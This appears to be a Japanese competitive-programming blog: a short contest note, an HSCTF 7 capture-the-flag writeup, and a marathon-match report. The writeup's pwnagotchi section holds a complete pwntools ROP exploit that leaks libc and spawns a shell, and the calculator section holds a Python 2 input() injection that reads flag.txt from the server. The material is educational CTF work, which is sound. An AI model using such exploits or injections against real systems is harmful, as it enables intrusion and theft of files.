提出したコード(C++)はこちら

O - 輪投げ

問題文はこちら

今回のPASTで唯一解けなかった問題。WA投げ

DP、もしくは貪欲っぽいなと思ってずっと考えていましたが、想定解は最小コストフローだったそうです。

何を食べたらこの問題がフローの問題だと判別できるんだろうか・・?

最後に

暖色コーダーでも88点が続出していたようでした(当社調べ)が、そんな問題セットでエキスパートを取れたので、かなりの自信になったかなと思います。

HSCTF 7 Writeup

初writeupです。


6月1日~6月6日まで開催されたHSCTF 7にチームAbyss Syndromeとして参加しました。

点数はチーム全体で3715点で、順位は132位/1466チームでした。自分はAlgorithmsとMiscellaneousを中心に解いて、2095点を取りました。

以下、自分が解いた問題のwriteupになります。

pwnagotchi (Binary Exploitation, 116点)

与えられた実行ファイルを普通に実行してみると、名前を聞かれるので入力する→ (入力した名前) is not happy! と出力して終了する、という動作になることが分かります。

gdbで入力した文字列の入力部分を見てみると・・・

f:id:takumi152:20200606145355p:plain

getsで入力を受け取っているようです。受け取った文字列はスタックに入るので、スタックオーバーフローを引き起こすことでreturn先を任意のアドレスに変更することができそうです。

そこで、この問題の方針として、ROP(Return-oriented Programming)を用いてシェルを呼び出すということを考えました。しかし、実行ファイル中には直接シェルを呼び出すことができそうなところが見当たりません。そこで、

  • 1回目の入力でlibcのアドレスをリークさせる
  • mainを再度呼び出し、2回目の入力でシェルを呼び出す

とすると良さそうということが(以下の記事を読んでいたら)分かりました。

ROPを用いたlibcのアドレスのリークと、シェルの呼び出しについては主に以下の記事が参考になりました(PLTアドレスやGOTアドレスがどういうものなのかという点をまだあまり理解できてないので、そのうち完全に理解したい)。

smallkirby.hatenablog.com

blog.8f-nai.net

book.hacktricks.xyz

ところが、1回目の入力でlibcのアドレスをリークした後、2回目の入力まで行かず This is weird... と出力して落ちてしまいます。

スタックを壊したので、バッファ用メモリを確保する部分がおかしくなったのか?と最初は思いましたが、バイナリをしばらく眺めていると、oncesleepyhungryの3つの変数を使って、 This is weird... と出力して終了するかどうかの分岐をしていそう、ということが分かりました。

f:id:takumi152:20200606152737p:plain

1回目のmainの呼び出しでonce1が代入されているので、onceの値を再度変更するか、sleepyhungryの値を変更できれば良さそうです。

どこかにこれら3つの変数を中身を変更できそうなところはないかと思い、さらにバイナリを眺めていると、sleepyhungry0を代入しているところがあるので変更できそう、ということが分かりました。

f:id:takumi152:20200606153439p:plain

f:id:takumi152:20200606153424p:plain

1回目の入力でこれらの変数も変えることで、2回目の入力を行うことができるようになりました。

シェルを呼び出すときのアドレスのalignにも注意すると(16byte単位でalignされてないといけない)、最終的な攻撃コード(ローカル用)は以下のようになります。

from pwn import * # Import pwntools

local_bin = "./pwnagotchi"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # Library path

p = process(local_bin) # start the vuln binary
elf = ELF(local_bin) # Extract data from binary
rop = ROP(elf) # Find ROP gadgets

OFFSET = "A"*20

PUTS_PLT = elf.plt['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

# leak and get libc address
def get_addr(func_name):
    FUNC_GOT = elf.got[func_name]
    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
    # Create rop chain
    rop1 = OFFSET.encode('utf-8') \                                       # padding
           + p64(0x40083c) + p64(0x0) \                                   # let sleepy = 0
           + p64(0x4007f7) + p64(0x0) \                                   # let hungry = 0
           + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) # leak libc address

    # sleep(1) # for actual attempt, wait a bit so the server can send all outputs

    #Send our rop-chain payload
    print(p.clean()) # clean socket buffer (read all and print)
    p.sendline(rop1)

    #Parse leaked address
    p.recvline() # skip 4 lines
    p.recvline()
    p.recvline()
    p.recvline()
    recieved = p.recvline().strip()
    print(recieved)
    leak = u64(recieved.ljust(8, b"\x00"))
    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
    #If not libc yet, stop here
    if libc != "":
        libc.address = leak - libc.symbols[func_name] #Save libc base
        log.info("libc base @ %s" % hex(libc.address))

    return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base

# Get shell using leaked libc address
BINSH = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

rop2 = OFFSET.encode('utf-8') \                              # padding
       + p64(0x400988) \                                     # align address before getting shell
       + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) # get shell

# sleep(1) # for actual attempt, wait a bit so the server can send all outputs

p.clean()
p.sendline(rop2)

# Interact with shell
p.interactive() #Interact with the conenction
flag{theyre_so_cute}

Aliens (Algorithms, 343点)

問題を要約すると、


大きさN*Nの2次元配列Aが与えられる。配列の各要素は-1もしくは1以上1000以下の整数である。

Aの部分配列A'について、f(A')を以下のように定義する。

  •  \sum_{a \in A'}{a} \cdot (-1)^{(A'中の-1の個数)}   (\sum_{a \in A'}{a} \mod 13 \equiv 0)

  •  0 (otherwise)

\sum_{A' \subseteq A} f(A')の値を求めよ。つまり、Aの全ての部分配列A'について、f(A')の総和を求めよ。


という感じです(問題文として与えられるpdfファイルに例が載っているので、それも参考にすると分かりやすいかと思われます)。 入力ファイルが与えられるので、それを入力として問題を解いた時の答えがflagになっている、という形式の問題です。

入力ファイル中にはNの値は書かれていませんが、行数を確認すると500行あることがわかるので、N=500であることが分かります。

また、求めたいのは全ての部分配列A'についてのf(A')の総和なので、事前に配列の累積和を計算しておくことで、\sum_{a \in A'}{a}の値をO(1)で求めることができます。

累積和については以下の記事が参考になると思われます。

qiita.com

累積和の前計算はO(N^2)で行うことができて、部分配列の数はO(N^4)個あるので、答えはO(N^4)の時間で求めることができます。よって、開催期間中には十分間に合う程度の効率で答えを求めることができました(DPを利用することでO(13 \cdot N^2)の解法が作れそうな気がしますが、そこまで考えるよりもO(N^4)を実装して答えを求める方が早かったです)。

以下が答えを求めるコード(C++)になります。

#include <iostream>
#include <iomanip>
#include <vector>
#include <algorithm>
#include <utility>
#include <string>
#include <queue>
#include <stack>
#include <cmath>

using namespace std;

typedef long long int ll;
typedef pair<int, int> Pii;

const ll mod = 1000000007;

int main() {
  cin.tie(0);
  ios::sync_with_stdio(false);

  constexpr int n = 500;

  vector<vector<int> > marking(n, vector<int>(n));
  for (auto &x: marking) {
    for (auto &y: x) cin >> y;
  }

  vector<vector<ll> > markingSum(n+1, vector<ll>(n+1));
  vector<vector<int> > bombCount(n+1, vector<int>(n+1));
  for (int i = 0; i < n; i++) {
    for (int j = 0; j < n; j++) {
      markingSum[i+1][j+1] = markingSum[i+1][j] + markingSum[i][j+1] - markingSum[i][j] + marking[i][j];
      bombCount[i+1][j+1] = bombCount[i+1][j] + bombCount[i][j+1] - bombCount[i][j] + (marking[i][j] == -1 ? 1 : 0);
    }
  }

  ll ans = 0;
  for (int i = 0; i < n; i++) {
    for (int j = 0; j < n; j++) {
      for (int k = i; k < n; k++) {
        for (int l = j; l < n; l++) {
          ll subsquareSum = markingSum[i][j] - markingSum[k+1][j] - markingSum[i][l+1] + markingSum[k+1][l+1];
          if (subsquareSum % 13 == 0) {
            ll subsquareBomb = bombCount[i][j] - bombCount[k+1][j] - bombCount[i][l+1] + bombCount[k+1][l+1];
            if (subsquareBomb % 2 == 0) ans += subsquareSum;
            else ans -= subsquareSum;
          }
        }
      }
    }
  }

  cout << ans << endl;

  return 0;
}
flag{7508511543}

Holly League (Algorithms, 458点)

問題を要約すると、


 N人の学生と、 N個の大学がある。 N人の学生全員について、それぞれ異なる大学を割り当てることを考える。

ここで、各学生と各大学には互いの希望順が決まっており、割り当てを決めたときに、

  • ある学生 aと大学 bが存在して、( aに現在割り当てられている大学の希望順)<( a bに対する希望順)かつ( bに現在割り当てられている学生の希望順)<( b aに対する希望順)を満たす

ような学生と大学の組が存在してはならない(ここで、上の x \lt yは、 yの希望順が xの希望順よりも早い(=希望度が高い)ことを表す)。

この制約の下で、学生に対して最良の(つまり、できるだけ希望順が早い)大学が割り当てられると仮定したとき、大学 kに割り当てられる学生の名前を出力せよ。

制約:

  •  N \le 500

  •  0 \le k \le N-1


という感じになります。

こちらはAliensとは異なり、問題サーバーに接続して、入力の受け取りと解答の出力(サーバー側から問題の入力が1ケース分与えられて、それに正解する、つまり正しい解を送信すると次のケースの入力が与えられる)を行い、制限時間内に全てのケースに正解するとflagがもらえるというものになっています(この問題では、120秒以内に15ケースを解けばflagが入手できる)。

問題自体は安定結婚問題と呼ばれるもので、これを解くための手法としてはGale-Shapleyのアルゴリズムが知られています。よって、Gale-Shapleyのアルゴリズムを利用して、学生側にとって最良の安定マッチングを求めれば問題を解くことができます。

安定結婚問題やGale-Shapleyのアルゴリズムについては以下の記事が分かりやすいかと思われます。

qiita.com

mathtrain.jp

これで問題自体は解くことができましたが、サーバーとの入出力ができるようにしないといけません。こっちが本質

そこで、方針として、pythonの適当なnetcatの実装を貼り付けて、それを使って

  1. 入力の受信

  2. 入力のパースと問題の求解

  3. 問題の解の送信

ができるようにすれば良さそうと考えました。pythonのnetcatの実装については以下を参考にしました。

engineeringnote.hateblo.jp

最終的な解答コードは以下の通りとなりました。なお、サーバーからの問題の入力速度が遅く、制限時間内のflagの入手には何回か試行する必要がありました。やっぱりサーバーとの通信が本質じゃん

import socket
import time
import errno

connection_target = 'algo.hsctf.com'
connection_port = 4002

def solve(response, problem_num):
    # parse problem input
    response_split = response.split('\n')
    response_offset = 0
    while response_split[response_offset] != f"Here's case {problem_num}!":
        response_offset += 1
    response_offset += 1
    parse_idx = 0
    while True:
        if parse_idx == 0:
            n, t = map(int, response_split[response_offset+parse_idx].split())
            student_preference = [None for _ in range(n)]
            college_preference = [None for _ in range(n)]
            student_name = [0 for _ in range(n)]
        elif parse_idx <= n:
            college_preference[parse_idx-1] = list(map(int, response_split[response_offset+parse_idx].split()))
        elif parse_idx <= n*2:
            student_preference[parse_idx-n-1] = list(map(int, response_split[response_offset+parse_idx].split()))
        elif parse_idx <= n*3:
            student_name[parse_idx-n*2-1] = response_split[response_offset+parse_idx].rstrip()
        else:
            break
        parse_idx += 1

    # solve problem
    waiting = [n-i-1 for i in range(n)]
    preference_idx = [0 for _ in range(n)]
    current_match_of_student = [None for _ in range(n)]
    current_match_of_college = [None for _ in range(n)]
    college_preference_dict = [dict() for _ in range(n)]
    for i in range(n):
        for j in range(n):
            college_preference_dict[i][college_preference[i][j]] = j
    while waiting:
        print(len(waiting))
        now = waiting.pop()
        if current_match_of_college[student_preference[now][preference_idx[now]]] == None:
            current_match_of_student[now] = student_preference[now][preference_idx[now]]
            current_match_of_college[student_preference[now][preference_idx[now]]] = now
        elif college_preference_dict[student_preference[now][preference_idx[now]]][now] < college_preference_dict[student_preference[now][preference_idx[now]]][current_match_of_college[student_preference[now][preference_idx[now]]]]:
            waiting.append(current_match_of_college[student_preference[now][preference_idx[now]]])
            current_match_of_student[current_match_of_college[student_preference[now][preference_idx[now]]]] = None
            current_match_of_student[now] = student_preference[now][preference_idx[now]]
            current_match_of_college[student_preference[now][preference_idx[now]]] = now
        else:
            waiting.append(now)
        preference_idx[now] += 1

    for i in range(n):
        assert(current_match_of_student[i] is not None)
        assert(current_match_of_college[i] is not None)
        assert(current_match_of_college[current_match_of_student[i]] == i)

    return student_name[current_match_of_college[t]]

def netcat_client():
    buffer = ''
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        client.connect((connection_target, connection_port))
        client.setblocking(False)
        time.sleep(0.5) # wait for server program to start sending data
        t = 1
        while True:
            recv_len = 1
            retry_count = 0
            response = ''
            while True:
                try:
                    data = client.recv(16384)
                except Exception as e:
                    print(len(response), flush = True)
                    err = e.args[0]
                    if err in (errno.EAGAIN, errno.EWOULDBLOCK):
                        if retry_count >= 3:
                            break
                        time.sleep(0.2)
                        retry_count += 1
                        continue
                    else:
                        raise e
                else:
                    print(len(response), len(data), flush = True)
                    recv_len = len(data)
                    if recv_len == 0:
                        break # probably no more input for now
                    response += data.decode('utf-8')
                    retry_count = 0
            print(response.rstrip(), end='', flush=True)
            if not response:
                break
            if t == 16:
                break
            ans = solve(response, t) # solve problem
            print(ans)
            s = client.sendall(ans.encode('utf-8') + b'\n')
            t += 1
        client.close()
    except Exception as e:
        print('[*] Exception! Exiting.')
        client.close()
        raise e

def main():
    netcat_client()

if __name__ == '__main__':
    main()
flag{C0l13g3_4dm15510n5_4r3_n3v3r_t415_ch1ll}

Traffic Lights A (Algorithms, 486点)

問題を要約すると以下の通りになります(一部超意訳と適当な解釈を含みます)。


ある町の道路ネットワークは N本の交差点(頂点)と M本の道路(辺)から構成されている。全ての道路は一方通行で、各道路には通行する際に必要となるガソリン代 I_iと、通れる車の数(最大容量) F_iが決まっている。

あなたは x人の従業員を持つ会社の社長であり、全ての従業員に交通費を支給したいと考えている。町には K個の住宅地(始点)と L個の事業所(終点)があり、各住宅地には従業員を住まわせることのできる人数 P_iが、各事業所にはそこで働かせる必要のある従業員の人数 C_iがそれぞれ決められている。各従業員は、指定された住宅地から事業所まで、指定されたルート(パス)を通って車で通勤を行う。

各従業員について、適切な住宅地と事業所、通勤ルートを決めたとき、必要となるガソリン代の合計の最小を求めよ。ただし、全ての従業員を事業所まで到達させることができない場合は"Impossible"と出力し、ガソリン代が無限大になる場合は"Infinity"を出力せよ。

制約:

  •  0 \le K, L \le N \le 10^3

  •  0 \le M \le 10^4

  •  0 \le I_i, F_i, P_i, C_i \le 10^6

  •  \sum{C_i} = x


この問題もHolly Leagueと同様に、サーバーから問題と解答のやりとりをして、制限時間内に指定されたケース数だけ解くとflagがもらえるという形式となっています(この問題では120秒以内に10ケース解けばflagが入手できます)。

問題文(特に原文)を読むと、最大容量(原文ではmax flow)とか始点(source nodes)・終点(sink nodes)などの記述があり、いかにもネットワークフローに関連していそうに見えます。

(そもそもネットワークフローって何ぞや?という方はこちらの記事などが参考になるかと思われます。)

qiita.com

実際これは正しくて(ヒントにも書いてある)、この問題は最小コストフローを求める問題になっています。具体的には、供給量が xの頂点を1つ追加して、そこから住宅地のある頂点に対して容量 P_i、コスト0の辺を追加してから、事業所がある頂点の需要が C_iであるような最小コストフロー問題を解けばよいです。

最小コストフローを求める自前のライブラリは持っていなかったので(お前は本当に競プロerか?)、PythonのライブラリのひとつであるNetworkXを利用して解くことにしました。

以下、解答コードになります。

import socket
import time
import errno

import networkx as nx

connection_target = 'algo.hsctf.com'
connection_port = 4001

def solve(response, problem_num):
    g = nx.DiGraph()

    # parse problem input
    response_split = response.split('\n')
    response_offset = 0
    while response_split[response_offset] != f"Here's case {problem_num}!":
        response_offset += 1
    response_offset += 1
    parse_idx = 0
    while True:
        if parse_idx == 0:
            n, m, k, l = map(int, response_split[response_offset+parse_idx].split())
            g.add_nodes_from(range(0, n+1))
        elif parse_idx <= m:
            u, v, i, f = map(int, response_split[response_offset+parse_idx].split())
            g.add_edge(u, v, weight = i, capacity = f)
        elif parse_idx <= m+k:
            u, p = map(int, response_split[response_offset+parse_idx].split())
            g.add_edge(0, u, weight = 0, capacity = p)
        elif parse_idx <= m+k+l:
            u, c = map(int, response_split[response_offset+parse_idx].split())
            g.nodes[u]['demand'] = c
            if 'demand' not in g.nodes[0]:
                g.nodes[0]['demand'] = -c
            else:
                g.nodes[0]['demand'] -= c
        else:
            break
        parse_idx += 1

    # solve problem
    try:
        flowDict = nx.min_cost_flow(g)
        ans = 0
        for u in range(n+1):
            for v, f in flowDict[u].items():
                ans += f * g[u][v]['weight']
        return str(ans)
    except nx.NetworkXUnfeasible:
        return 'Impossible'
    except nx.NetworkXUnbounded:
        return 'Infinity'

def netcat_client():
    buffer = ''
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        client.connect((connection_target, connection_port))
        client.setblocking(False)
        time.sleep(0.5) # wait for server program to start sending data
        t = 1
        while True:
            recv_len = 1
            retry_count = 0
            response = ''
            while True:
                try:
                    data = client.recv(16384)
                except Exception as e:
                    print(len(response), flush = True)
                    err = e.args[0]
                    if err in (errno.EAGAIN, errno.EWOULDBLOCK):
                        if retry_count >= 3:
                            break
                        time.sleep(0.3)
                        retry_count += 1
                        continue
                    else:
                        raise e
                else:
                    print(len(response), len(data), flush = True)
                    recv_len = len(data)
                    if recv_len == 0:
                        break # probably no more input for now
                    response += data.decode('utf-8')
                    retry_count = 0
            print(response.rstrip(), end='', flush=True)
            if not response:
                break
            if t == 11:
                break
            ans = solve(response, t) # solve problem
            print(ans)
            s = client.sendall(ans.encode('utf-8') + b'\n')
            t += 1
        client.close()
    except Exception as e:
        print('[*] Exception! Exiting.')
        client.close()
        raise e

def main():
    netcat_client()

if __name__ == '__main__':
    main()
flag{n0_u_c4n7_ju57_u53_n37w0rk_51mpl3x_h4h4_c4r_60_vr00m_69bb3a80}

Do Stars Spin? 1 (Miscellaneous, 100点)

問題文を読んでみますが、どこから取り掛かればよいのかよく分かりません。

幸いにもヒントがあるので、見てみることにしました。

Where can you look to see what PMP has said before?

PMP氏(運営スタッフの一人)の言っていた内容を見るにはどこを見ればよいか?という内容です。

HSCTFのDiscordが思い当たったので、そこでfrom: PMP#5728と検索をしてみます。するとこんなものを見つけました。

f:id:takumi152:20200607024752p:plain

redditで聞いてみるか!(雑訳)と言っているようなので、redditdostarsevenspinと検索をしてみます。そうするとdostarsevenspinという名前のユーザーがredditに存在することが分かりました。

www.reddit.com

どうやらここにflagがあるようです・・が、残念ながらこれは偽のflagでした。

行き詰まってしまいました。が、幸いにもヒントはまだあるようなので、見てみることにします。

How do you view archived/deleted content?

保存された(削除された)内容を見るにはどうすればよいか?というものです。

これを見て、Wayback Machineかなと思い、URLを入れてみます。すると、このユーザーの過去の投稿があった頃のページがありました。

web.archive.org

こっちにあるのは本物のflagだったので、これで無事にflagが入手できました。

flag{7t3rE_i5_n0_wAy_a_be3_sh0u1d_BEE_ab13_t0_f1Y_89a89fe1}

My First Calculator (Miscellaneous, 100点)

与えられたソースコードを見てみると、Python2のコードで、かつinput()を使って入力を受け取っているようです。つまり、入力にはPythonの評価式を入れることができるので、これを使ってサーバー側にあるflag.txtの内容を読むことができそうです。

ただし、入力の評価結果はintに変換されてしまうので、後で復元できるような形式の整数になるようにしておく必要があります。自分の場合は、flag.txtの各文字を10進ASCIIコードに変換し、それを3桁区切りでつなげたものにする、という方針を取りました。

$ nc misc.hsctf.com 7001
Welcome to my calculator!
You can add, subtract, multiply and divide some numbers

First number: int(''.join((str(ord(x)) if len(str(ord(x))) == 3 else '0' + str(ord(x))) for x in open('flag.txt', 'r').readline()))
Second number: 0
Operation (+ - * /): +

Sorry, only the number 1 is supported
102108097103123112108101097115101095117115101095112121116104111110051125010

これでflag.txtの内容を10進ASCIIコードにしてつなげたものが入手できたので、あとは適切に復元するだけです。

以下のようなことをすれば復元することができます。

def main():
    ret = '102108097103123112108101097115101095117115101095112121116104111110051125010'
    flag = ''
    for i in range(25):
        flag += chr(int(ret[i*3:(i+1)*3]))
    print(flag)

if __name__ == '__main__':
    main()
flag{please_use_python3}

N-95 (Miscellaneous, 392点)

一部が隠れたQRコードが与えられて、それを使う問題です。

とりあえず、分かる範囲でQRコードの復元を手動でやってみることにしてみました。できる限り復元をするとこんな感じになります(青色の部分が復元ができていない箇所。実際には29*29の画像(1セル=1ピクセル)でやっています)

f:id:takumi152:20200607030937p:plain

もちろん、カメラなどではまだ読み取れないような状態です。そこで、strong-qr-decoderを利用して読み取りをしてみることにしました。

以下のコードを使ってテキストに変換してから、読み取ってみます。

from PIL import Image

im = Image.open('N-95_processed.png')

with open('input.txt', 'w', newline='\n') as f:
    for i in range(25):
        t = ''
        for j in range(25):
            p = im.getpixel((j+2, i+2))
            if p == 0:
                t += 'X'
            elif p == 2:
                t += '_'
            else:
                t += '?'
        f.write(t + '\n')
$ python2 strong-qr-decoder-master/sqrd.py input.txt
error: 未対応のモード指示子です

読み込めないぞ・・?

QRコードの仕様について色々と調べた結果、モード指示子やらマスクパターンやらというものがあることを知りました(英語版Wikipediaの記事である程度解説されていた)。

マスクパターンの情報(左下の位置検出パターンのすぐ右側と、左上の位置検出パターンのすぐ下側)は復元ができていませんが、strong-qr-decoderのオプションでマスクパターンを指定して読み取りを行うことができるようです。

$ python2 strong-qr-decoder-master/sqrd.py -m 3 input.txt
flag{60_dozen_quartz_japS}

無事にflagが取れ・・ていませんでした。入手したflagを入れてみてもIncorrectと出て弾かれてしまいます。 運営さん正解のflagを間違えてないですか

何度か復元をし直したり、適当なセルを変更したりしてみますが、読み取った結果はあまり変化がありませんでした。

そこで、読み取った内容と正解のflagは1文字か2文字程度違うだけだろうと予想(と書いてエスパーと読む)して、読み取った結果の最後2文字を変更したものから同じマスクパターンと大きさのQRコードを生成した結果と、復元したQRコードを比較してみることにしました。

以下のコードを使って、生成したQRコードと復元したQRコードで(分かっている部分が)異なるセルの数を調べてみることにします。

from PIL import Image
import qrcode
import string
import itertools

im = Image.open('N-95_processed.png')

difference_dict = dict()
for x in itertools.product(string.printable, repeat=2):
    x = ''.join(x)
    im_ref = qrcode.make(f'flag{{60_dozen_quartz_ja{x}}}',
                  mask_pattern = 3,
                  version = 2,
                  error_correction = qrcode.constants.ERROR_CORRECT_M,
                  border = 2,
                  box_size = 1)
    difference = 0
    for i in range(29):
        for j in range(29):
            if im.getpixel((j, i)) == 1:
                continue # unknown
            elif im.getpixel((j, i)) == 0 and im_ref.getpixel((j, i)) != 0:
                difference += 1
            elif im.getpixel((j, i)) == 2 and im_ref.getpixel((j, i)) != 255:
                difference += 1
    difference_dict[x] = difference

difference_all = list(sorted([(k, v) for (k, v) in difference_dict.items()], key = lambda x: x[1]))
print(difference_all)
$ python bruteforce_flag.py
[('rs', 0), ('7C', 16), ('p3', 16), ('uq', 16), ('zG', 16), ...(以下略)

どうやら復元した部分が完全に一致するものがあったようです(左が入れた文字、右が異なるセルの数)。

実際にそれをflagとして提出してみると正解になったので、今度こそ無事にflagを入手することができました。

flag{60_dozen_quartz_jars}

Very Safe Login (Web Exploitation, 100点)

とりあえずページのソースを見てみることにします。

<!DOCTYPE html>
<html lang="en">

...(中略)...

    <script>
        var login = document.login;

        function submit() {
            const username = login.username.value;
            const password = login.password.value;
            
            if(username === "jiminy_cricket" && password === "mushu500") {
                showFlag();
                return false;
            }
            return false;
        }
    </script>
</body>
</html>

どうやらソースにユーザーネームとパスワードが直書きされているようです。これを使ってログインしてみます。

f:id:takumi152:20200607040002p:plain

あっさりとflagを入手できました。

flag{cl13nt_51de_5uck5_135313531}

MM118 参加記

何も分からん、になった回でした。

問題

問題文(原文)はこちら

要約すると、

  • N*Nのグリッドと、D人のダンサーの位置が与えられる。
  • ダンサーは1ステップごとに上下左右に隣り合うマスに移動することができる(移動せずにそのマスに留まってもよい)。また、ダンサー1人ごとに、あるステップ数目の終了時点で居なければならない位置が入力として与えられる。
  • グリッドの各マスにはC色のうちどれかの色がついており、ダンサーが別のマスに移動すると、移動先のマスの色が別の色に変化する(移動しなかった場合は変化しない。また、複数人が同時に同じマスに移動した場合は、移動した人数と同じ回数だけ変化する)。どの色からどの色に変わるかはマスごとに入力として与えられる。
  • Sステップ終了後、(ある1色の連結成分の数)2の、全色についての総和が小さいほど良いスコアとなる。

という感じです。

やったこと

最後に提出したコードはこちら

各ダンサーの行動について、焼きなましをしました。

近傍の取り方

近傍は、あるダンサーの、あるステップ数目に居なければならない位置から次に居なければならない位置までの行動について、

  • あるステップ数目の行動と、その次のステップ数目の行動を入れ替え
  • (残りステップ数に余裕がある場合)ある一方向に移動して、直後に逆方向に移動する行動の挿入
  • ある一方向への移動と、それとは逆方向への移動を選択し、削除

の3通りとしました。

ただし、開始から1秒までは入れ替えのみを行って、それ以降は全ての近傍を使う、というようにしています。

評価関数

評価関数は、真のスコア*1000を共通の点数として(低いほど良い)、さらにNとCの値によって場合分けをしました。

  • N <= 25 の場合、各連結成分の大きさの2乗を点数から減算
    • Nが奇数かつC==2の場合、最初に偶数個ある色の連結成分についてのみ減算する(終わってから気づきましたが、これはあまり意味がなかったようです)
  • N > 25 の場合、↑を減算ではなく加算とする

という感じです。

連結成分の大きさの2乗を加減算する部分は、真のスコアのみで評価した場合にスコアが小さくなるまでどの程度近いか分からないため、その近さを表すような感じの部分です(伝われ)

実行例

seed = 7の場合の結果の例はこんな感じ(各マスの数字は色が変化した回数と、次に変化する色を表しています。考察の過程でビジュアライザに追加したやつです)。

f:id:takumi152:20200529155324p:plain

結果

結果(provisionalの時点)ですが、40位/68人でした。

普段は20位前後になることが多いですが、今回はかなり下振れしてしまったと感じています。

敗因

今回のMMでここまで下の順位になった点について、考えたことを以下に挙げてみます。

問題の特徴を考察しきれなかった

真のスコアの計算には連結成分の数を調べる必要があるため、愚直にやった場合O(N2)~O(N2 logN)程度の時間がかかります。そして自分はこの計算を(Union-Findを使って)愚直にやりました(差分計算をやろうとしたら逆に遅くなってしまった)。

一方で、上位勢の解法を見ていると、差分計算を高速化に成功していた方や、そもそも別の評価関数(隣接する色が異なるマスの数など)をメインとして使っている方が多かったようです。

差分計算の高速化ができなかった点はともかくとして、自分の場合、真のスコアを利用すること(と、それをできるだけ高速化すること)しか考えていなかったので、その部分に集中してしまって、より高速に計算できる評価関数、もしくは、言われてみればそれはそうってなるような点に気づけなかったことが失敗だったと考えています。

アルゴ系のコンテストでもそうですが、問題の特徴を考察する部分は割と苦手なので精進したいなーと思っています(こういうのはどう精進するのがいいんだろう)

始まってからしばらく手を付けなかった

今回は終了3日前ぐらいから手を付けました。

考察に掛ける時間が少ない分不利になったのはもちろんですが、今回を振り返ってみて、取り組む日数が多ければ、その分冷静に問題を考察できるんじゃないか?と思いました(ただ、今回の場合は1週間全部使ったとしても、良い評価関数には気が付けなかったかもしれない?)

ちゃんとやりましょう。

最後に

今回はかなり冷えた回になったので、次回以降でリベンジしていきたい。